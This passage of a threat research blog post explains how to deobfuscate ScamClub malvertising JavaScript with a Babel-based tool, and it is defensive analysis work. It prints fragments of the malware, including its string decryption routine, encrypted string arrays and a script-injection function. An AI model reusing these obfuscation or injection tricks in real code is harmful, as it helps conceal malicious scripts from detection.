adversary.</p><p>The third stage of the ScamClub attack is the payload which performs the forced redirect attacks. A more in-depth analysis of the deobfuscated payload can be found in the ScamClub threat report and will be covered in even more depth in a future blog.</p><h2><strong>Obfuscation</strong></h2><p>All stages and versions of the ScamClub payload are obfuscated by the attackers using the same obfuscator. The obfuscator used by ScamClub is not available on the open internet, but has been observed to be used by various Chinese threat actors. The obfuscator uses two different layers of obfuscation. The first layer simply contains the second layer encoded with some basic encoding/encryption and is not heavily obfuscated per se. Once the first layer is decoded, we are presented with the second layer that uses some interesting obfuscation tricks to make the analysis of the sample more difficult. It should be noted that the first layer is encoded randomly, containing different variable names, function names, and encryption primitives in each sample. This makes signature-based detection more difficult completely eliminates the possibility of hash-based detection.</p><p>In order to completely deobfuscate ScamClub payloads, we are going to be writing a deobfuscator using the Babel library. Babel is a transpiler for JavaScript. A transpiler is a compiler that takes as input the source code of one language and produces as its output functionally-equivalent source code for the same language or another. Babel includes a parser that produces Abstract Syntax Trees (ASTs) for the source code it parses. We can use these ASTs to look for obfuscation techniques in the structure of the source code and convert them to deobfuscated, highly-readable source code. First, however, we need to unwrap the first layer of encoding to get to the obfuscation tricks used by the next layer to make the resulting decoded source code unreadable.</p><h2><strong>Obfuscation Layer 1 &#8212; Random Encoding</strong></h2><p>The payload&#8217;s first layer of obfuscation looks like the following. Note that the encryption constants, variable names, and function names are different every time the payload is generated.</p><p>First, the payload sets up a function <strong>rmH</strong> that is used to decrypt the two long, encrypted strings seen later in the payload. These strings, once decrypted, contain the JavaScript code that is used to execute the rest of the payload. The first string looks like the following snippet when decrypted:</p><pre><code>var n = 14,
    b = 15,
    t = 62;
var x = &#8220;abcdefghijklmnopqrstuvwxyz&#8221;;
var k = [89, 75, 82, 76, 80, 94, 70, 71, 90, 86, 72, 60, 66, 85, 88, 74, 65, 79, 87, 81];
var a = [];
for (var u = 0; u &lt; k.length; u++) a[k[u]] = u + 1;
var l = [];
n += 19;
b += 78;
t += 34;
for (var j = 0; j &lt; arguments.length; j++) {
    var o = arguments[j].split(&#8221; &#8220;);
    for (var z = o.length - 1; z &gt;= 0; z--) {
        var r = null;
        var v = o[z];
        var f = null;
        var d = 0;
        var c = v.length;
        var y;
        for (var p = 0; p &lt; c; p++) {
            var m = v.charCodeAt(p);
            var h = a[m];
            if (h) {
                r = (h - 1) * b + v.charCodeAt(p + 1) - n;
                y = p;
                p++;
            } else if (m == t) {
                r = b * (k.length - n + v.charCodeAt(p + 1)) + v.charCodeAt(p + 2) - n;
                y = p;
                p += 2;
            } else {
                continue;
            }
            if (f == null) f = [];
            if (y &gt; d) f.push(v.substring(d, y));
            f.push(o[r + 1]);
            d = p + 1;
        }
        if (f != null) {
            if (d &lt; c) f.push(v.substring(d));
            o[z] = f.join(&#8221;&#8220;);
        }
    }
    l.push(o[0]);
}
var g = l.join(&#8221;&#8220;);
var e = [92, 39, 10, 96, 32, 42].concat(k);
var w = String.fromCharCode(46);
for (var u = 0; u &lt; e.length; u++)
    g = g.split(w + x.charAt(u)).join(String.fromCharCode(e[u]));
return g.split(w + &#8220;!&#8221;).join(w);</code></pre><p>As you can see, it is simply another decryption function used to decrypt the<br>second long string from the payload. Once the second long string is decrypted, we end up with the main script obfuscated with a second layer of anti-analysis techniques.</p><p>Let&#8217;s modify the original script to output the final decrypted function without executing it. This can be executed in your browser&#8217;s console or directly with Node.js:</p><pre><code>
(function() {
    // Truncated for brevity
    var RGe = ArR(nYr, rmH(tlB));
    var gik = RGe(rmH(&#8217;Nn}K0W6aY4)-{b(K%[...&#8217;));
    console.log(beautify(gik, {indent_size: 2}));
})();</code></pre><p>Here are the results:</p><h2><strong>Obfuscation Layer Two&#8212; Obfuscated Main Script</strong></h2><p>Running the modified script above gives us the preceding output, which includes several interesting obfuscation tricks designed to make the analysis of the payloads a difficult and time-consuming process.</p><p>Now that we&#8217;ve reached the second layer of obfuscation, we see some new<br>obfuscation techniques that are not only encoding, but tricks designed to make the analysis of the script more tedious. Let&#8217;s go over them one by one.</p><h2><strong>String Encryption</strong></h2><p>All strings in the obfuscated payload are encrypted. Once the payload is run, all of the strings are decrypted at once and put into an array and any time a string is needed, the array is referenced. This makes the reading of the code extremely difficult as any time a string is needed one must reference the array of strings instead of viewing them directly in place.</p><pre><code>var O = (bh)(&#8221;tangMa9...&#8221;, 865159);

function bh(h, j) {
  // string decryption code
}

function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = bO()[O[24]](O[23])[O[22]](0);
  d._ = bO()[O[26]](O[25]);;
  ch(d);
  ci(d, f);
  c[O[30]](d._)
}</code></pre><p>As you can see, all of the strings are decrypted when the payload is run and later, in the function <strong>P()</strong> they are referenced with the array they are stored in, <strong>O</strong>. Once the strings are decrypted and placed in-line, <strong>P() </strong>should look like this:</p><pre><code>function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = bO()[&#8221;getElementsByTagName&#8221;](&#8221;head&#8221;)[&#8221;item&#8221;](0);
  d._ = bO()[&#8221;createElement&#8221;](&#8221;script&#8221;);
  ;
  ch(d);
  ci(d, f);
  c[&#8221;appendChild&#8221;](d._);
}</code></pre><h2><strong>Functions Returning Identifiers</strong></h2><p>In the function <strong>P()</strong> above, we can see that a few other functions are called: <strong>bO()</strong>, <strong>cg()</strong>, <strong>ch()</strong>, and <strong>ci()</strong>. Let&#8217;s take a look at the function <strong>bO()</strong><br>first:</p><pre><code>function bO() {
  return document
}</code></pre><p>There are many functions inside of the obfuscated payload that simply return operators, such as this one. In our deobfuscated code, we need to see those identifiers being referenced directly to make the code more readable. One way is to rename the function to something that makes sense with something like VSCode or any editor with LSP support, but we will be doing this correctly later with Babel. Once we apply our deobfuscation of identifiers wrapped in functions to the script, <strong>P() </strong>will look even better:</p><pre><code>function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = document[&#8221;getElementsByTagName&#8221;](&#8221;head&#8221;)[&#8221;item&#8221;](0);
  d._ = document[&#8221;createElement&#8221;](&#8221;script&#8221;);
  ;
  ch(d);
  ci(d, f);
  c[&#8221;appendChild&#8221;](d._);
}</code></pre><h2><strong>Binary and Unary Operators in Functions</strong></h2><p>There are lots of different functions in the obfuscated code that wrap binary and unary operators with functions, making the code much more difficult to read. Let&#8217;s take a look at another function, =bd()=, and the functions it calls:</p><pre><code>function bd(d, f) {
  var a = bq((bo(d, 0xFFFF)), (bo(f, 0xFFFF)));
  var c = bq((bx(d, 16)) + (bx(f, 16)), (bx(a, 16)));
  return bk((bu(c, 16)), (bo(a, 0xFFFF)))
}

function bq(a, c) {
  return a + c
}

function bo(a, c) {
  return a &amp; c
}

function bx(a, c) {
  return a &gt;&gt; c
}

function bk(a, c) {
  return a | c
}

function bu(a, c) {
  return a &lt;&lt; c
}</code></pre><p>As you can see, the functions <strong>bq()</strong>, <strong>bo()</strong>, <strong>bx()</strong>, <strong>bk()</strong>, and <strong>bu()</strong> all wrap simple operators in functions. The function <strong>bd()</strong> sure would look better and be easier to read with those operators in-line, as such:</p><pre><code>function bd(d, f) {
  var a = (d &amp; 0xFFFF) + (f &amp; 0xFFFF);
  var c = ((d &gt;&gt; 16) + (f &gt;&gt; 16)) + (a &gt;&gt; 16);
  return (c &lt;&lt; 16) | (a &amp; 0xFFFF);
}</code></pre><p>Now that we&#8217;ve taken a look at all of the different obfuscation techniques used, let&#8217;s start figuring out how to remove them automatically one by one using Babel.</p><h2><strong>Babel</strong></h2><p><a href="https://babeljs.io/">Babel</a> is a transcompiler for JavaScript that includes a parser and transformer that we can use for our deobfuscator. Babel uses the <a href="https://en.wikipedia.org/wiki/Visitor_pattern">Visitor Pattern</a>, a software design pattern in which you create visitors, functions that are run against all elements of an Abstract Syntax Tree (AST). Using the visitor pattern, we go down the source tree, visiting every node, and apply our logic to that node to change the obfuscated code into something more readable.</p><p>In addition to a parser, Babel also contains a generator. This will allow us to generate code to replace the obfuscated code with something easier to analyze as well as generate code from our ASTs to run in the Node.js VM.</p><h2><strong>Abstract Syntax Trees</strong></h2><p>The Babel library can be used to parse our source code and produce <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree">Abstract Syntax Trees</a>. These ASTs will be useful in defining the structure of the different techniques used by the obfuscation tool employed by ScamClub. Let&#8217;s take a look at the very first function and generate an AST for it:</p><pre><code>function bO() {
  return document
}</code></pre><p>This function simply returns another identifier and nothing more. Let&#8217;s generate an AST for it using the <a href="https://astexplorer.net/">AST Explorer</a> web tool:</p><pre><code>{
  &#8220;type&#8221;: &#8220;FunctionDeclaration&#8221;,
  &#8220;id&#8221;: {
    &#8220;type&#8221;: &#8220;Identifier&#8221;,
    &#8220;name&#8221;: &#8220;bO&#8221;
  },
  &#8220;params&#8221;: [],
  &#8220;body&#8221;: {
    &#8220;type&#8221;: &#8220;BlockStatement&#8221;,
    &#8220;body&#8221;: [
      {
        &#8220;type&#8221;: &#8220;ReturnStatement&#8221;,
        &#8220;argument&#8221;: {
          &#8220;type&#8221;: &#8220;Identifier&#8221;,
          &#8220;name&#8221;: &#8220;document&#8221;
        }
      }
    ]
  }
}</code></pre><p>Note that the output from the AST Explorer tool has been simplified &#8212; the tool returns much more information than listed above, but for the sake of brevity and clarity we have removed information such as line and column numbers. If you would like to see the whole output, see the results from the AST Explorer tool.</p><p>The AST returned includes information about the name of the function, the type of statement it includes, the contents of that statement &#8212; in this case, a return statement &#8212; and the identifier returned. In order to write our deobfuscator, we will need to define generic ASTs for all of the different obfuscation techniques used.</p><h2>Get BOZOSLIVEHERE&#8217;s stories in your inbox</h2><p>Join Medium for free to get updates from this writer.</p><p>Subscribe</p><p>In the obfuscated payloads, there are many different functions that simply<br>return an identifier &#8212; whether that identifier is a keyword such as <strong>window</strong> or <strong>console</strong> or a variable defined by the script itself. In order to make this AST generic, we want something like this:</p><pre><code>{
  &#8220;type&#8221;: &#8220;FunctionDeclaration&#8221;,
  &#8220;id&#8221;: {
    &#8220;type&#8221;: &#8220;Identifier&#8221;,
    &#8220;name&#8221;: String                  // Any string
  },
  &#8220;params&#8221;: [],                     // length 0
  &#8220;body&#8221;: {
    &#8220;type&#8221;: &#8220;BlockStatement&#8221;,
    &#8220;body&#8221;: [
      {
        &#8220;type&#8221;: &#8220;ReturnStatement&#8221;,
        &#8220;argument&#8221;: {
          &#8220;type&#8221;: &#8220;Identifier&#8221;,
          &#8220;name&#8221;: String            // Any string
        }
      }
    ]
  }
}</code></pre><p>We will later apply logic that matches this generic AST to transform the obfuscated code into something more readable using Babel.</p><h2><strong>Writing our Deobfuscator &#8212; Import Modules &amp; Setup</strong></h2><p>First, we need to set up the modules we&#8217;ll be using. We will use <strong>babel/parser</strong>, <strong>babel/traverse</strong>, <strong>babel/generator</strong>, <strong>js-beautify</strong>, and the built-ins <strong>vm</strong> and <strong>fs</strong>. In addition we will use <strong>commander</strong> to parse our command-line options.</p><pre><code>const parser = require(&#8221;@babel/parser&#8221;);
const traverse = require(&#8221;@babel/traverse&#8221;).default;
const t = require(&#8221;@babel/types&#8221;);
const generate = require(&#8221;@babel/generator&#8221;).default;

const beautify = require(&#8221;js-beautify&#8221;);

const { readFileSync, writeFile } = require(&#8221;fs&#8221;);
const vm = require(&#8221;vm&#8221;);

const { program } = require(&#8217;commander&#8217;);

program
  .option(&#8217;-f, --file &lt;file&gt;&#8217;);
program.parse();
const options = program.opts();</code></pre><p>Next we need to configure the parser. In some ScamClub samples, the <strong>return</strong> keyword is used outside of a function, which causes Babel to break and complain about the incorrect use of <strong>return</strong>. To fix this, we need to enable the <strong>allowReturnOutsideFunction</strong> option:</p><pre><code>const parserOptions = {
  plugins: [&#8217;@babel/plugin-syntax-jsx&#8217;],
  allowReturnOutsideFunction: true,
};</code></pre><p>Let&#8217;s parse the code into an AST and set up a context for the VM we will use to execute parts of ScamClub&#8217;s code in order to decrypt layer 1 of the obfuscation as well as the strings in layer 2:</p><pre><code>let code = readFileSync(options.file, &#8220;utf8&#8221;)
let ast = parser.parse(code, parserOptions);
const decryptFuncCtx = vm.createContext();</code></pre><h2><strong>Deobfuscation &#8212; Layer One</strong></h2><p>The first thing we need to do is identify the variable which receives the second layer once decrypted, so that we can execute the variable declaration in the VM and store the results to be able to continue deobfuscation. If we go back to the fully obfuscated code, we see the following line which decrypts this layer of obfuscation so that the script can continue to execute the second layer of obfuscated code.</p><pre><code>    var gik = RGe(rmH(&#8217;...&#8217;));</code></pre><p>Taking a look at the rest of the code, we need to try to see what makes this<br>line unique from all others so that we can use a specific pattern to reliably match the AST and identify this line in all versions of ScamClub payloads. This line is the only line which matches the pattern <strong>VariableDeclaration<br>SomeVar=SomeFunc1(SomeFunc2(StringLiteral))</strong>. Now, let&#8217;s take a look at the AST of this line:</p><pre><code>{
    &#8220;body&#8221;: [
        {
        &#8220;type&#8221;: &#8220;VariableDeclaration&#8221;,
        &#8220;declarations&#8221;: [
            {
            &#8220;type&#8221;: &#8220;VariableDeclarator&#8221;,
            &#8220;id&#8221;: {
                &#8220;type&#8221;: &#8220;Identifier&#8221;,
                &#8220;identifierName&#8221;: &#8220;gik&#8221;,
                &#8220;name&#8221;: &#8220;gik&#8221;
            },
            &#8220;init&#8221;: {
                &#8220;type&#8221;: &#8220;CallExpression&#8221;,
                &#8220;callee&#8221;: {
                    &#8220;type&#8221;: &#8220;Identifier&#8221;,
                    &#8220;identifierName&#8221;: &#8220;RGe&#8221;,
                    &#8220;name&#8221;: &#8220;RGe&#8221;
                },
                &#8220;arguments&#8221;: [
                {
                    &#8220;type&#8221;: &#8220;CallExpression&#8221;,
                    &#8220;callee&#8221;: {
                        &#8220;type&#8221;: &#8220;Identifier&#8221;,
                        &#8220;identifierName&#8221;: &#8220;rmH&#8221;,
                        &#8220;name&#8221;: &#8220;rmH&#8221;
                    },
                    &#8220;arguments&#8221;: [
                    {
                        &#8220;type&#8221;: &#8220;StringLiteral&#8221;
                    }
                    ]
                }
                ]
            }
            }
        ],
        &#8220;kind&#8221;: &#8220;var&#8221;
        }
    ]
}</code></pre><p>Now we&#8217;re going to create our first visitor. This visitor should look for a<br><strong>VariableDeclaration</strong> type node whose <strong>init</strong> type is <strong>CallExpression</strong>. The first argument&#8217;s type should also be <strong>CallExpression</strong>.</p><pre><code>let stage2DecodedVarName = null;
const variableInitIdentifierVisitor = {
  VariableDeclaration(path) {
    const init = path.node.declarations[path.node.declarations.length - 1].init;
    if(init &amp;&amp; init.type === &#8220;CallExpression&#8221;) {
      const callee = init.arguments[0].callee;
      const argType = init.arguments[0].type
      if (argType === &#8220;CallExpression&#8221;) {
        stage2DecodedVarName = path.node.declarations[0].id.name;
      }
    }
  }
};
traverse(ast, variableInitIdentifierVisitor); // Run visitor against AST</code></pre><p>This visitor will traverse the whole script, stopping at each <strong>VariableDeclaration</strong> type node to check if the AST matches the pattern we&#8217;re looking for. Once the pattern is found, we store the name of the variable being declared into <strong>stage2DecodedVarName</strong>. In the case of the script we&#8217;re working on, the variable name is <strong>gik</strong>.</p><h2><strong>Using the VM to Decrypt Layer Two</strong></h2><p>Now we need run the code relevant to the decryption of the next layer in our VM context. In order to do this, we will want to run all <strong>VariableDeclaration </strong>nodes and the <strong>FunctionDeclaration</strong> nodes relevant to decryption.</p><pre><code>let layer2Decoded = null
const decryptLayer2Visitor = {
  // We need to execute all VariableDeclaration nodes into our context
  VariableDeclaration(path) { // Run all variable declarations in the decrypt context
    const varDecCode = generate(path.node).code; // Generate the code to execute in context
    vm.runInContext(varDecCode, decryptFuncCtx); // Execute the decryption function delcaration in VM context
    if (path.node.declarations[0].id.name == stage2DecodedVarName) {
      decodeLayer2Code = generate(path.node.declarations[0].id).code;
      layer2Decoded = vm.runInContext(decodeLayer2Code, decryptFuncCtx)
      path.stop(); // Stop execution fo the visitor now that we&#8217;ve received the information we&#8217;re looking for
    }
  },

  // We also need the FunctionDeclaration node to be executed in our context to be used
  FunctionDeclaration(path) {
    const funcDecCode = generate(path.node).code; // Generate the code to execute in context
    vm.runInContext(funcDecCode, decryptFuncCtx); // Execute the decryption function delcaration in VM context
    path.remove() // Remove the decryption function since it has served its use
  },
};

traverse(ast, decryptLayer2Visitor);</code></pre><p>By running the <strong>VariableDeclaration</strong> and <strong>FunctionDeclaration</strong> nodes in our VM, we now have the variables and functions available to be executed within our VM context. In the case that the name of the variable being declared in the current node being visited matches <strong>stage2DecodedVarName</strong>, we generate some code to return the value of the variable after it&#8217;s been declared. This is our decoded second layer. Now let&#8217;s get this layer ready for further analysis:</p><pre><code>// parse our newly decoded layer 2 into its AST
let ast_layer2 = parser.parse(layer2Decoded)
// set up a new VM context for layer 2
const layer2Ctx = vm.createContext()
// Beautify code
layer2Decoded = beautify(layer2Decoded, {
  indent_size: 2,
  space_in_empty_paren: true,
});</code></pre><h2><strong>Layer Two</strong></h2><p>Now we can start taking a look at layer two of the obfuscation. This is where the actual script itself executes and does its fingerprinting and insertion of a script element containing the forced redirect script. A number of different obfuscation techniques are used in the second layer, and we&#8217;ll go over making visitors to deobfuscate them one by one.</p><h2><strong>Decrypting &amp; Replacing Encrypted Strings In-Line</strong></h2><p>Let&#8217;s go back and take a look at the String Encryption section. Let&#8217;s make an<br>AST out of the string decryption line and take a look at its structure so that<br>we can build a visitor to decrypt the strings:</p><pre><code>var O = (bh)(&#8221;tangMa9...&#8221;, 865159);</code></pre><pre><code>  {
    &#8220;type&#8221;: &#8220;VariableDeclaration&#8221;,
    &#8220;declarations&#8221;: [
      {
        &#8220;type&#8221;: &#8220;VariableDeclarator&#8221;,
        &#8220;id&#8221;: {
          &#8220;type&#8221;: &#8220;Identifier&#8221;,
          &#8220;name&#8221;: &#8220;O&#8221;
        },
        &#8220;init&#8221;: {
          &#8220;type&#8221;: &#8220;CallExpression&#8221;,
          &#8220;callee&#8221;: {
            &#8220;type&#8221;: &#8220;Identifier&#8221;,
            &#8220;name&#8221;: &#8220;bh&#8221;,
          },
          &#8220;arguments&#8221;: [
            {
              &#8220;type&#8221;: &#8220;StringLiteral&#8221;,
              &#8220;extra&#8221;: {
                &#8220;rawValue&#8221;: &#8220;tangMa9...&#8221;,
                &#8220;raw&#8221;: &#8220;\&#8221;tangMa9...\&#8221;&#8220;
              },
              &#8220;value&#8221;: &#8220;tangMa9...&#8221;
            },
            {
              &#8220;type&#8221;: &#8220;NumericLiteral&#8221;,
              &#8220;value&#8221;: 865159
            }
          ]
        }
      }
    ],
    &#8220;kind&#8221;: &#8220;var&#8221;
  }</code></pre><p>Taking a look at this AST and the rest of the code, note that this line is the<br>only line which matches an AST like <strong>VariableDeclaration Identifier =<br>CallExpression(StringLiteral, NumericLiteral)</strong>. Let&#8217;s make a visitor that looks for this pattern and then executes the string decryption function inside of the VM in order to give us the list of encrypted strings. Later, we&#8217;ll replace the references to <strong>O</strong> (the strings array in the sample we&#8217;re working with here) in-line to make the code more readable. We&#8217;ll also need to first set up the VM context for layer two, so we&#8217;ll create a short visitor to run all <strong>FunctionDeclaration</strong> nodes inside of our VM context. Running these nodes imports them into the context without actually executing them, allowing us to execute them later on to decrypt layer two.</p><pre><code>let layer2DecryptedStringsVariableName = null;
let layer2DecryptedStrings = null;

const setupLayer2Context = {
  // First, we need to run all function declarations in our context so that we
  // can run the decryption function
  FunctionDeclaration(path) {
    const functionCode = generate(path.node).code
    vm.runInContext(functionCode, layer2Ctx)
  }
}

const findEncryptedStringVisitor = {
   VariableDeclaration(path) {
    const init = path.node.declarations[path.node.declarations.length - 1].init; // Get initialization of last defined variable

    if (init &amp;&amp; init.type === &#8220;CallExpression&#8221;) {
      const args = init.arguments
      if(args.length == 2 &amp;&amp; args[0].type === &#8220;StringLiteral&#8221; &amp;&amp; args[1].type === &#8220;NumericLiteral&#8221;) {

        layer2DecryptedStringsVariableName = path.node.declarations[0].id.name

        const decryptCode = generate(init).code;
        layer2DecryptedStrings = vm.runInContext(decryptCode, layer2Ctx);
        path.remove() // we are going to replace string references inline, remove this path
        path.stop() // we&#8217;ve found our decrypted layer 2 variable, stop the visitor
      }
    }
  }
}

traverse(ast_layer2, setupLayer2Context)
traverse(ast_layer2, findEncryptedStringVisitor)</code></pre><p>Next, we&#8217;ll need to write a visitor that replaces all references to the variable<br>containing the array of strings with the string itself in-line. Let&#8217;s take a look at the AST for one of these references:</p><pre><code>j = O[2];</code></pre><pre><code>  {
    &#8220;type&#8221;: &#8220;ExpressionStatement&#8221;,
    &#8220;expression&#8221;: {
      &#8220;type&#8221;: &#8220;AssignmentExpression&#8221;,
      &#8220;operator&#8221;: &#8220;=&#8221;,
      &#8220;left&#8221;: {
        &#8220;type&#8221;: &#8220;Identifier&#8221;,
        &#8220;name&#8221;: &#8220;j&#8221;
      },
      &#8220;right&#8221;: {
        &#8220;type&#8221;: &#8220;MemberExpression&#8221;,
        &#8220;object&#8221;: {
          &#8220;type&#8221;: &#8220;Identifier&#8221;,
          &#8220;name&#8221;: &#8220;O&#8221;
        },
        &#8220;computed&#8221;: true,
        &#8220;property&#8221;: {
          &#8220;type&#8221;: &#8220;NumericLiteral&#8221;,
          &#8220;extra&#8221;: {
            &#8220;rawValue&#8221;: 2,
            &#8220;raw&#8221;: &#8220;2&#8221;
          },
          &#8220;value&#8221;: 2
        }
      }
    }
  }</code></pre><p>So we&#8217;re looking for <strong>MemberExpression</strong> nodes and the value of the <strong>property </strong>field, its <strong>NumericLiteral</strong>, used to index the array.</p><pre><code>const encryptedStringReferencesVisitor = {
  MemberExpression(path) {
    if(path.node.object.name === layer2DecryptedStringsVariableName) {
      stringId = path.node.property.value;
      path.replaceWith(t.valueToNode(layer2DecryptedStrings[stringId]));
    }
  }
}

traverse(ast_layer2, encryptedStringReferencesVisitor)</code></pre><p>This visitor looks for <strong>MemberExpression</strong> nodes whose <strong>name</strong> field is equal to the name of the strings array variable we identified in the previous visitor. We then use the function <strong>replaceWith()</strong> to replace it with the appropriate string, converted to a node with <strong>valueToNode()</strong>.</p><h2><strong>Replacing Operators and Identifiers In-Line</strong></h2><p>Now we&#8217;re going to write a more complex visitor with some sub-visitors to replace functions that contain simple operators/identifiers with their operator/identifier in-line. Let&#8217;s take a look at the three different types of functions we&#8217;ll be looking for:</p><pre><code>// Unary operators
function cc(a) {
  return -a
}

// Binary operators
function bv(a, c) {
  return a == c
}

// Identifiers
function bY() {
  return window
}</code></pre><h2><strong>Unary Operators</strong></h2><p>First, let&#8217;s take a look at the unary operator function&#8217;s AST:</p><pre><code>  {
    &#8220;type&#8221;: &#8220;FunctionDeclaration&#8221;,
    &#8220;id&#8221;: {
      &#8220;type&#8221;: &#8220;Identifier&#8221;,
      &#8220;name&#8221;: &#8220;cc&#8221;
    },
    &#8220;generator&#8221;: false,
    &#8220;async&#8221;: false,
    &#8220;params&#8221;: [
      {
        &#8220;type&#8221;: &#8220;Identifier&#8221;,
        &#8220;name&#8221;: &#8220;a&#8221;
      }
    ],
    &#8220;body&#8221;: {
      &#8220;type&#8221;: &#8220;BlockStatement&#8221;,
      &#8220;body&#8221;: [
        {
          &#8220;type&#8221;: &#8220;ReturnStatement&#8221;,
          &#8220;argument&#8221;: {
            &#8220;type&#8221;: &#8220;UnaryExpression&#8221;,
            &#8220;operator&#8221;: &#8220;-&#8221;,
            &#8220;prefix&#8221;: true,
            &#8220;argument&#8221;: {
              &#8220;type&#8221;: &#8220;Identifier&#8221;,
              &#8220;name&#8221;: &#8220;a&#8221;
            }
          }
        }
      ],
      &#8220;directives&#8221;: []
    }
  }</code></pre><p>All of our different types of obfuscated operators and identifiers will follow a similar pattern. We&#8217;re looking for a <strong>FunctionDeclaration</strong> whose <strong>body</strong> type is <strong>BlockStatement</strong>. The <strong>body</strong> of the first item of the <strong>body</strong> of the <strong>BlockStatement</strong> should be of type <strong>ReturnStatement f</strong>or all function types above. Let&#8217;s go ahead and start creating our visitor:</p><pre><code>const operatorsIdentifiersVisitor = {
  FunctionDeclaration(path) {
    const functionName = path.node.id.name;
    if(path.node.body.type === &#8220;BlockStatement&#8221;
       &amp;&amp; path.node.body.body[0].type === &#8220;ReturnStatement&#8221;) {
      const returnBody = path.node.body.body[0]</code></pre><p>Here we&#8217;re looking for any and all <strong>FunctionDeclaration</strong> nodes that match the pattern described above. We&#8217;ll save the first element of the <strong>body</strong> of the <strong>ReturnStatement</strong> in the <strong>returnBody</strong> variable in order to use it later. Next, we want to check the <strong>type</strong> of the <strong>argument</strong> of <strong>returnBody</strong> to see if it&#8217;s of type <strong>UnaryExpression</strong>. If it is, we&#8217;ll go ahead and create a new sub-visitor to look for all <strong>CallExpression</strong> nodes that are calling the function containing the unary operator we&#8217;re trying to deobfuscate. Once the visitor lands on a matching <strong>CallExpression</strong>, we will replace that node with a node that uses the operator directly. The function containing the operator is removed from the AST.</p><pre><code>      if(returnBody.argument.type === &#8220;UnaryExpression&#8221;) {
        const replaceExpandedUnaryOperatorVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name === functionName) {
              const inlineOperatorCode =
                    generate({
                      &#8220;type&#8221;: &#8220;UnaryExpression&#8221;,
                      &#8220;operator&#8221;: returnBody.argument.operator,
                      &#8220;argument&#8221;: path2.node.arguments[0] // Use the variable name the CallExpression uses as an argument
                    }).code
              path2.replaceWithSourceString(inlineOperatorCode);

            }
          }
        }
        traverse(ast_layer2, replaceExpandedUnaryOperatorVisitor)
        path.remove()
      }</code></pre><p>After running the visitor against our code, we will see all calls of functions<br>such as <strong>cc()</strong> above replaced with their corresponding operator in-line:</p><pre><code>// before
var c = cc(271733879);

// after
var c = -271733879;</code></pre><h2><strong>Binary Operators</strong></h2><p>Now we&#8217;re going to take a look at functions that wrap <strong>BinaryExpression</strong> type nodes. Let&#8217;s take a look at the <strong>body</strong> of the function <strong>bv()</strong>:</p><pre><code>{
  &#8220;body&#8221;: {
    &#8220;type&#8221;: &#8220;BlockStatement&#8221;,
    &#8220;body&#8221;: [
      {
        &#8220;type&#8221;: &#8220;ReturnStatement&#8221;,
        &#8220;argument&#8221;: {
          &#8220;type&#8221;: &#8220;BinaryExpression&#8221;,
          &#8220;left&#8221;: {
            &#8220;type&#8221;: &#8220;Identifier&#8221;,
            &#8220;name&#8221;: &#8220;a&#8221;
          },
          &#8220;operator&#8221;: &#8220;==&#8221;,
          &#8220;right&#8221;: {
            &#8220;type&#8221;: &#8220;Identifier&#8221;,
            &#8220;name&#8221;: &#8220;c&#8221;
          }
        }
      }
    ],
  }
}</code></pre><p>As you can see, a <strong>BinaryExpression</strong> node has a <strong>left</strong>, an <strong>operator</strong>, and a <strong>right</strong>. We can use this to write a visitor that goes to all <strong>CallExpression</strong><br>nodes and puts the <strong>operator</strong> in-line:</p><pre><code>      else if(returnBody.argument.type === &#8220;BinaryExpression&#8221;
         &amp;&amp; returnBody.argument.left.type === &#8220;Identifier&#8221;
         &amp;&amp; returnBody.argument.right.type === &#8220;Identifier&#8221;) {
        const replaceExpandedBinaryOperatorVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name == functionName) {
              const inlineOperatorCode = generate(
                {
                  &#8220;type&#8221;: &#8220;BinaryExpression&#8221;,
                  &#8220;left&#8221;: path2.node.arguments[0],
                  &#8220;operator&#8221;: returnBody.argument.operator,
                  &#8220;right&#8221;: path2.node.arguments[1]
                }
              ).code;
              path2.replaceWithSourceString(inlineOperatorCode);

            }
          }
        }
        traverse(ast_layer2, replaceExpandedBinaryOperatorVisitor)
        path.remove();
      }</code></pre><h2><strong>Functions Returning Identifiers</strong></h2><p>Finally, we&#8217;re going to take a look at functions that return identifiers. The function <strong>bY()</strong> above returns only the identifier <strong>window</strong>. Let&#8217;s take a quick look at the <strong>body</strong> of its AST:</p><pre><code>{
  &#8220;body&#8221;: {
    &#8220;type&#8221;: &#8220;BlockStatement&#8221;,
    &#8220;body&#8221;: [
      {
        &#8220;type&#8221;: &#8220;ReturnStatement&#8221;,
        &#8220;argument&#8221;: {
          &#8220;type&#8221;: &#8220;Identifier&#8221;,
          &#8220;name&#8221;: &#8220;window&#8221;
        }
      }
    ],
    &#8220;directives&#8221;: []
  }
}</code></pre><p>As you can see, we simply need to look for functions whose <strong>returnBody</strong> argument type is <strong>Identifier</strong> and then create a sub-visitor to look for all <strong>CallExpression</strong> nodes calling that function and replace them with the <strong>Identifier</strong> node.</p><pre><code>      else if(returnBody.argument.type === &#8220;Identifier&#8221;) {
        const replaceExpandedIdentifierVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name === functionName) {
              const expandedIdentifierCode = generate({
                &#8220;type&#8221;: &#8220;Identifier&#8221;,
                &#8220;name&#8221;: returnBody.argument.name
              }).code;
              path2.replaceWithSourceString(inlineIdentifierCode);
            }
          }
        }
        traverse(ast_layer2, replaceExpandedIdentifierVisitor)
        path.remove()
      }</code></pre><p>After this, we need to close out the visitor <strong>operatorsIdentifiersVisitor</strong> and run it against our layer two AST. Finally, we generate the code for the AST and output it to the console:</p><pre><code>    }
  }
}
traverse(ast_layer2, operatorsIdentifiersVisitor)

console.log(generate(ast_layer2).code)</code></pre><h2><strong>Final Deobfuscator &amp; Deobfuscated Script</strong></h2><p>The full script to deobfuscate ScamClub payloads up until this point is as follows. Note that there is more that we could do to beautify this and make it even closer to perfect, but at this point we have a reliable deobfuscator that produces a fully-readable output.</p><p>And here&#8217;s the deobfuscated stage 1 script:</p><h2><strong>Closing Notes</strong></h2><p>In this article, we&#8217;ve gone from a fully-obfuscated ScamClub payload to a mostly deobfuscated, easy-to-read script that we can now analyze. There are some other things that can be done to make it even more readable, but for the purposes of understanding what the script does, we&#8217;ve reached a good point.</p><p>In the next article in this series, we&#8217;ll go over the long version of the ScamClub payload, which contains the same obfuscation tricks as well as some new ones. We&#8217;ll go over the additional things that could make these payloads even more readable, as well as the new tricks the longer version of the payload implements. In another, we will go over the analysis of the deobfuscated payloads including the 